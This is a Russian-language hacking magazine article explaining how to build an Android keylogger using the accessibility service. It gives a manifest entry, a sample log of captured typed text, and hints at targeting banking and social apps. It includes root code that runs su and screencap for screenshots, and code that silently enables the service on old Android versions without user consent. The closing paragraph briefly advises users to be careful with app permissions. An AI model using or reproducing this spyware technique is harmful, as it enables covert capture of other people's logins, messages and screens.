С версии 1.6 в Android существует «сервис специальных возможностей». Нетрудно догадаться, с какой целью он был создан, но нас, как людей, стремящихся как раз к неограниченным возможностям, этот сервис интересует с несколько другой стороны. Сегодня мы будем писать программу, которая позволит следить за вводом в других приложениях!
Зачем нужен сервис специальных возможностей?
Он позволяет расширять интерфейс обычных приложений, чтобы помочь пользователям с ограниченными возможностями или тем, кто может временно оказаться не в состоянии в полной мере взаимодействовать с устройством. Например, юзерам за рулем автомобиля, ухаживающим за маленьким ребенком или находящимся на очень шумной вечеринке могут потребоваться дополнительные или альтернативные интерфейсы обратной связи.
В Android есть стандартный сервис спецвозможностей — TalkBack. При необходимости разработчики могут реализовать и свои собственные. Такие сервисы стало возможно писать с незапамятных времен (Android 1.6, API уровень 4), а с Android 4.0 (API уровня 14) они получили значительные улучшения. Через «библиотеку поддержки» эти улучшения реализованы и для устройств с API версией ниже 14.
Данный сервис позволяет просмотреть описание всех окон, работающих приложений и получить набранные пользователем данные (кроме вводимых паролей; согласись, что логинов и текстовых сообщений тоже во многих случаях достаточно).
В этой статье я расскажу, как максимально просто реализовать сервис для перехвата клавиатурного ввода.
Для этого требуется создать наследник AccessibilityService . В методе подключения onServiceConnected нам нужно задать фильтр событий (класс AccessibilityServiceInfo) , которые будет слушать сервис. А в методе onAccessibilityEvent обрабатывать эти события.
В манифесте приложения обязательно следует добавить строчки описания сервиса:
<service android:name=".KeyRecordService" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService" /> </intent-filter> </service>
Если все сделано верно, то в логе можно увидеть что-то вроде этого:
onAccessibilityEvent: [type] TYPE_VIEW_TEXT_CHANGED [class] android.widget.EditText [package] com.android.chrome [time] 113326642 [text] xakep.ru
Класс AccessibilityServiceInfo позволяет выставить фильтры для определенных приложений (кто сказал «мобильных банков» или «клиентов социальных сетей»?). По нужному нам событию можно делать скриншоты.
Совсем просто это делается на рутованном устройстве, а если рута нет, то нужно искать сторонние библиотеки для получения скриншотов из сервиса.
Пример кода получения скриншота из сервиса на рутованном устройстве:
Process sh = Runtime.getRuntime().exec("su", null, null);
OutputStream os = sh.getOutputStream();
os.write(("/system/bin/screencap -p " + "/sdcard/img.png").getBytes("ASCII"));
os.flush();
os.close();
sh.waitFor();
// Then read img.png as bitmap and convert it jpg as follows
Bitmap screen = BitmapFactory.decodeFile(Environment.getExternalStorageDirectory() + File.separator + "img.png");
// My code for saving
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
screen.compress(Bitmap.CompressFormat.JPEG, 15, bytes);
// You can create a new file name «test.jpg» in sdcard folder.
File f = new File(Environment.getExternalStorageDirectory() + File.separator + "test.jpg");
f.createNewFile();
// Write the bytes in file
FileOutputStream fo = new FileOutputStream(f);
fo.write(bytes.toByteArray());
// Remember close de FileOutput
fo.close();
Для работы сервису требуется отдельное разрешение, пользователь дает его в разделе настроек «Спец. возможности -> Службы».
Хакер #202. Скажи нет большому брату!
Запускаем настройки программно:
Intent intent = new Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS);
startActivityForResult(intent, 0);
В старых версиях Android (которых еще довольно много в дикой природе) пользователя можно было и не спрашивать. Такие права можно было задать программно:
Settings.Secure.putString(getContentResolver(),
Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES, "pkgname/classname");
Settings.Secure.putString(getContentResolver(),
Settings.Secure.ACCESSIBILITY_ENABLED, "1");
Разрешения для манифеста:
<uses-permission android:name="android.permission.WRITE_SETTINGS" /> <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
где pkgname — имя твоего пакета и classname — имя класса сервиса. В новых версиях ОС без согласия пользователя не обойтись.
Заключение
С точки зрения программиста, Accessibility Services позволяет немного расширить узкие рамки песочницы для взаимодействия с другими приложениями. Пользователя можно просто попросить дать доступ к спецвозможностям и таким образом получить доступ к данным других программ. Также стоит отнестись внимательно к сервису TalkBack, который озвучивает все элементы экрана, беря описание из свойства contentDescription. Компания Google дает приоритет в поисковой выдаче маркета тем приложениям, которые более оптимизированы для TalkBack.
Пользователям же, как всегда, советуем три раза подумать, устанавливать ли вообще новое приложение, а если и устанавливать, то какие права ему дать. В последней версии Android 6.0 это можно делать более гибко.